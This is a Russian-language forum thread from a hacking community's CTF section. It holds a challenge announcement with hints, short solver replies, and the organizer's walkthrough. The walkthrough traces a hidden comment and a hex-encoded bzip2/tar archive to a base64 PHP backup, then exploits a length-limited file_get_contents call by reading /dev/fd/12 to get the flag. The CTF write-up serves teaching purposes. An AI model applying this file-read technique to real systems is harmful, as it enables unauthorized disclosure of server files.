Task # Task #14

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by joelblack, 6 Apr 2021.

  1. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    [​IMG]

    С момента выхода последнего таска прошло некоторое время, все успели отдохнуть, набраться сил и новых знаний, а значит пришло время запускать следующий.

    Задание:

    Сроки:
    Правила:
    Таргет:





    Hint: Для работы с "каким-то странным файлом" можно присмотреться, например, к xxd
    Hint: /myb4ckap/s3cr3t.php.bak

    Прошли:
    @Ka1_ne
    @leksadin
    @Baskin-Robbins
    @Раrаdох
    @ii445888

    Прохождения:
     
    #1 joelblack, 6 Apr 2021
    Last edited: 23 Apr 2021
    1. Ka1_ne

      Ka1_ne Member

      Joined:
      6 Apr 2021
      Messages:
      1
      Likes Received:
      7
      Reputations:
      7
      Интересный таск. Выполнен;)
       
      trota, x10, eminlayer7788 and 4 others like this.
      1. leksadin

        leksadin Level 8

        Joined:
        19 Jan 2016
        Messages:
        128
        Likes Received:
        60
        Reputations:
        12
      2. joelblack

        joelblack Reservists Of Antichat

        Joined:
        6 Jul 2015
        Messages:
        244
        Likes Received:
        450
        Reputations:
        145
        Добавлен Хинт
         
        dooble likes this.
        1. Раrаdох

          Раrаdох Elder - Старейшина

          Joined:
          30 Jan 2014
          Messages:
          95
          Likes Received:
          140
          Reputations:
          33
          Честно говоря, долго ковырялся с начальной точкой входа в само задание, что несколько заставляло поникнуть — невнимательный :)
          Ну а дальше дело техники. Спасибо, было как всегда здорово!
           
          crlf and Baskin-Robbins like this.
          1. joelblack

            joelblack Reservists Of Antichat

            Joined:
            6 Jul 2015
            Messages:
            244
            Likes Received:
            450
            Reputations:
            145
            Добавлен еще хинт
             
            1. ii445888

              ii445888 Member

              Joined:
              6 Feb 2020
              Messages:
              6
              Likes Received:
              6
              Reputations:
              9
              нашел с подсказками
               
              crlf, Раrаdох and Baskin-Robbins like this.
              1. 4Fun

                4Fun Elder - Старейшина

                Joined:
                25 Jul 2018
                Messages:
                496
                Likes Received:
                709
                Reputations:
                11
                Спасибо за задачу. С нетерпением жду разбора решения. Удалось пройти до уровня второй подсказки своими силами, дальше не получилось из-за отсутствия опыта программирования на PHP.
                В дальнейшем очень хочется видеть на Античате задачи, связанные с другими языками программирования и разнообразными стеками веб-приложений.
                 
                1. joelblack

                  joelblack Reservists Of Antichat

                  Joined:
                  6 Jul 2015
                  Messages:
                  244
                  Likes Received:
                  450
                  Reputations:
                  145
                  Прохождение:

                  Для начала необходимо найти точку входа. Заходим на http://task.antichat.xyz:10014/, открываем исходный код страницы и внимательно изучаем его. Находим закомментированную строку, содержащую путь:
                  Code:
                  <!-- /somestrangefile

                  Пройдя по нему, можно увидеть данные, в Hex представлении:
                  Code:
                  42 5a 68 39 31 41 59 26  53 59 04 dc bb 81 00 00
                  7d fb 82 c2 10 00 10 40  05 ff 80 00 20 7b 5e 5e
                  60 20 00 00 08 20 00 72  2b 53 4c 47 a8 34 c8 03
                  43 d4 f5 1e 90 49 0a 9e  88 da 8d 07 a9 a1 ea 64
                  7a 80 a5 b0 79 7e 42 09  21 21 98 04 63 23 7a 68
                  58 32 48 1f 37 8b 56 1a  db 73 ba 1b 23 60 bb 6b
                  4e 4d f2 80 eb 0e b1 94  bd 63 17 b6 a1 e9 4a 91
                  59 ce f1 cb a9 ca 84 a4  93 e2 2e 89 d0 3a b6 45
                  e3 08 d9 7c d6 e6 ac d2  70 7d 42 98 4e 00 00 a5
                  7e 2e e4 8a 70 a1 20 09  b9 77 02
                  Первые байты (см. Список сигнатур файлов 42 5a 68) указывают на то, что перед нами
                  Сжатый файл с использованием алгоритма Bzip2


                  После этого нам необходимо преобразовать hex обратно в файл. Сделать это можно, например, с использованием утилиты xxd:

                  Code:
                  $ xxd -r -p somestrangefile data
                  
                  $ file data                                                                                                                                           
                  data: bzip2 compressed data, block size = 900k
                  
                  Используя утилиту bzip2 извлекаем данные:
                  Code:
                  $ bzip2 -d data
                  bzip2: Can't guess original name for data -- using data.out
                  
                  $ file data.out                                                                                                                                      
                  data.out: POSIX tar archive (GNU)
                  Перед нами tar архив. Извлекаем из него данные:

                  Code:
                  $ tar -xf data.out
                  
                  И получаем файл ctf.txt, содержимое которого выглядит следующим образом:
                  Code:
                  please,see /myb4ckap/s3cr3t.php.bak
                  Изучаем содержимое файла s3cr3t.php.bak и понимаем, что перед нами данные, закодированные в base64. Декодируем их и получаем исходный код файла s3cr3t.php:
                  Code:
                  $ base64 -d s3cr3t.php.bak 
                  PHP:
                   <?php
                   $fp 
                  fopen("/var/www/flag.txt""r");
                    if(
                  strlen($_GET['f']) <= 10) {
                      echo 
                  file_get_contents($_GET['f']);
                    }
                    
                  fclose($fp);
                  ?>
                  Чтобы прочитать flag.txt у нас есть <= 10 символов. Конструкция, вроде ../flag.txt не подойдет, так как в сумме получается 11 символов. Также не подойдут разного рода Врапперы. Можно заметить, что в самом начале скрипта, c помощью функции fopen происходит открытие файла. На этом этапе, учитывая все ограничения и наличие функции fopen самое время вспомнить о Файловых Дескрипторах. Остается только выяснить нужный дескриптор, после чего мы сможем прочитать данные из файла flag.txt. Перебрав некоторое количество дескрипторов, выясняем, что нужный нам 12:
                  Code:
                  http://task.antichat.xyz:10014/s3cr3t.php?f=/dev/fd/12
                  И получаем флаг